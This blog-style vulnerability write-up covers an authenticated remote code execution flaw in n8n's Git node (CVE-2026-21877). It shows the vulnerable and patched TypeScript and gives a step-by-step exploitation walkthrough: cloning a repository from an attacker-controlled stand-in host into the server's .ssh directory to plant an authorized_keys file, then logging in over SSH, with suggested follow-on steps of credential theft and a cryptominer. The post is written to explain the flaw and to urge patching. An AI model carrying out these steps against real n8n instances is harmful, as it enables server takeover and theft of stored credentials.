Feb 25, 2026·5 min read·72 visits
Authenticated RCE in n8n via the Git node. Attackers can specify absolute paths for Git operations, allowing them to overwrite sensitive files (like SSH keys) or inject code. Patch immediately to version 1.121.3.
n8n, the beloved 'fair-code' workflow automation tool, recently discovered that its Git integration was a little too helpful. CVE-2026-21877 is a critical Remote Code Execution (RCE) vulnerability that allows authenticated users to turn the Git node into a weapon of mass destruction. By abusing the `repositoryPath` parameter, attackers can trick the server into cloning malicious repositories into arbitrary directories on the host filesystem. This isn't just a bug; it's a feature implementation that forgot the concept of 'boundaries'. When chained with an authentication bypass (like the infamous 'Ni8mare' CVE-2026-21858), this turns an exposed n8n instance into a root shell playground.
n8n is marketed as 'Zapier on steroids'—a powerful, self-hostable workflow automation tool that connects everything to everything. It’s a hacker’s dream target because it usually sits in the squishy center of a corporate network, holding API keys for Slack, AWS, Stripe, and your grandmother's email server. The philosophy is 'fair-code', but in this case, the code was a bit too fair to attackers.
The vulnerability centers around the Git node. This component allows users to version-control their workflows, pushing and pulling JSON representations of their automation logic to a Git repository. It sounds innocent enough. Developers love Git. DevOps engineers love Git. But you know who else loves Git? People who want to overwrite your authorized_keys file without asking nicely.
The root cause of CVE-2026-21877 is a tale as old as time: Input Validation Failure. Specifically, the n8n Git node implementation accepted a repositoryPath parameter from the user and handed it directly to the backend system to execute Git commands. It didn't ask where that path was; it just assumed the user was a benevolent operator who would never dream of typing /etc/ or /home/node/.
In a secure world, an application should sandboxing file operations to a specific working directory. If a user asks to clone a repo to ../../../../root/.ssh, the application should politely decline (or scream in the logs). n8n, however, simply passed the string to the simple-git library. This is the equivalent of a bank teller handing over the vault keys because someone wrote 'Manager' on a sticky note and pasted it to their forehead.
Because the application runs with the privileges of the user hosting it (often root in Docker containers or a dedicated node user), the attacker gains write access to any directory that user owns. This transforms a 'Workflow Automation Tool' into an 'Arbitrary File Write as a Service' platform.
Let's look at the TypeScript code responsible for this disaster. The vulnerability resided in packages/nodes-base/nodes/Git/Git.node.ts. Here is the vulnerable logic before the patch:
// The Vulnerable Way
// Get the path directly from user input
const repositoryPath = this.getNodeParameter('repositoryPath', itemIndex, '') as string;
// Initialize git client with that path. No questions asked.
const git: SimpleGit = simpleGit(repositoryPath);
// Run commands
await git.clone(repoUrl, '.');See that? Zero validation. If repositoryPath is /home/node/.ssh, simple-git initializes there. The subsequent clone or pull operation dumps files from the attacker's repo directly into that sensitive directory.
Now, let's look at the fix introduced in version 1.121.3 (Commit f4b009d). The developers added a guardrail:
// The Fixed Way
const repositoryPath = this.getNodeParameter('repositoryPath', itemIndex, '') as string;
// THE FIX: Check if the path is allowed
const isFilePathBlocked = await this.helpers.isFilePathBlocked(repositoryPath);
if (isFilePathBlocked) {
throw new NodeOperationError(
this.getNode(),
'Access to the repository path is not allowed',
);
}
const git: SimpleGit = simpleGit(repositoryPath);The isFilePathBlocked helper now enforces a sandbox, ensuring the path resides within the allowed n8n data directory. It’s a simple check, but it’s the difference between a functioning app and a compromised server.
So, how do we weaponize this? If you have credentials (or use the 'Ni8mare' authentication bypass CVE-2026-21858), the process is trivial. We aren't just crashing the server; we are moving in.
Step 1: The Setup
Create a malicious Git repository on GitHub or a private Git server. Inside this repo, place a file named authorized_keys containing your public SSH key.
Step 2: The Workflow Log into n8n and create a new workflow. Add a Git Node. Configure it with the following parameters:
Clonehttps://github.com/evil-hacker/pwn-repo.git/home/node/.ssh (or /root/.ssh depending on the container setup)Step 3: Execution
Hit the 'Execute Node' button. The n8n server dutifully runs git clone. It pulls your malicious authorized_keys file into the server's SSH configuration directory. Because git preserves filenames, you have just overwritten (or created) the trust store for SSH access.
Step 4: Endgame
Open your terminal.
ssh node@target-n8n-server.com
You are now in. You have a full interactive shell. From here, you can pivot to the internal network, steal environment variables (which likely contain AWS keys, database creds, and more), or deploy a cryptominer if you're feeling particularly cliché.
This isn't just about n8n. It's about what n8n holds. This platform is designed to be the glue between services. It holds the keys to the kingdom. A compromise here is a supply chain attack against your own infrastructure.
If an attacker controls n8n, they can:
The CVSS score is 9.9 for a reason. The only reason it isn't a perfect 10.0 is that it theoretically requires authentication. But as we've seen with the Ni8mare chain, authentication is often just a speed bump, not a wall.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n | >= 0.123.0 < 1.121.3 | 1.121.3 |
| Attribute | Detail |
|---|---|
| CWE | CWE-94 (Code Injection) / CWE-434 (Arbitrary File Write) |
| CVSS v3.1 | 9.9 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| EPSS Score | 16.06% |
| Attack Vector | Network (Authenticated) |
| Patch Status | Fixed in 1.121.3 |
The software allows the user to control the generation of code (Git paths) which is then executed by the system.